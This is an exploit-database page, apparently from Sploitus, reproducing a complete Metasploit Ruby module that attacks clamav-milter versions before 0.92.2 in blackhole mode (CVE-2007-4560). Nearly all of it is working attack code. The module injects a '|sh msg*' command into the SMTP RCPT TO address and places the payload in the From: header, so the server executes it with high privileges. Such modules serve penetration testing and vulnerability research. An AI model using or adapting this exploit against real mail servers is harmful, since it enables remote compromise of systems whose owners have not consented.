Sploitus

Exploit for ClamAV Milter <= 0.92.2 Blackhole-Mode (sendmail) Code Execution

seebug Β· 2007-08-24

Exploit Code

ruby100 lines
## https://sploitus.com/exploit?id=SSV:18006
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 &lt; Msf::Exploit::Remote

	include Msf::Exploit::Remote::Smtp

	def initialize(info = {})
		super(update_info(info,
			'Name'           =&gt; 'ClamAV Milter Blackhole-Mode Remote Code Execution',
			'Description'    =&gt; %q{
					This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
					(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
					When implemented with black hole mode enabled, it is possible to execute
					commands remotely due to an insecure popen call.
			},
			'Author'         =&gt; [ 'patrick' ],
			'License'        =&gt; MSF_LICENSE,
			'Version'        =&gt; '$Revision$',
			'References'     =&gt;
				[
					[ 'CVE', '2007-4560' ],
					[ 'OSVDB', '36909' ],
					[ 'BID', '25439' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
				],
			'Privileged'     =&gt; true,
			'Payload'        =&gt;
				{
					'DisableNops' =&gt; true,
					'Space'       =&gt; 1024,
					'Compat'      =&gt;
						{
							'PayloadType' =&gt; 'cmd',
							'RequiredCmd' =&gt; 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       =&gt; 'unix',
			'Arch'           =&gt; ARCH_CMD,
			'Targets'        =&gt; 
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' =&gt; 'Aug 24 2007',
			'DefaultTarget'  =&gt; 0))

			register_options(
			[
				OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
			], self.class)
	end

	def exploit

		# ClamAV writes randomized msg.###### temporary files in a randomized
		# /tmp/clamav-#######################/ directory. This directory is
		# the clamav-milter process working directory.
		#
		# We *can* execute arbitrary code directly from 'sploit', however the
		# SMTP RFC rejects all payloads with the exception of generic CMD
		# payloads due to the IO redirects. I discovered that the 'From:'
		# header is written to this temporary file prior to the vulnerable
		# call, so we call the file itself and payload.encoded is executed.

		sploit = &quot;sh msg*&quot; # Execute the clamav-milter temporary file.

		# Create the malicious RCPT TO before connecting,
		# to make good use of the Exploit::Smtp support.

		oldaddr = datastore['MAILTO']
		newaddr = oldaddr.split('@')

		datastore['MAILTO'] = &quot;&lt;#{newaddr[0]}+\&quot;|#{sploit}\&quot;@#{newaddr[1]}&gt;&quot;

		connect_login

		sock.put(&quot;From: ;#{payload.encoded}\r\n&quot;) # We are able to stick our payload in this header
		sock.put(&quot;.\r\n&quot;)

		# Clean up RCPT TO afterwards

		datastore['MAILTO'] = oldaddr

		handler
		disconnect
	end

end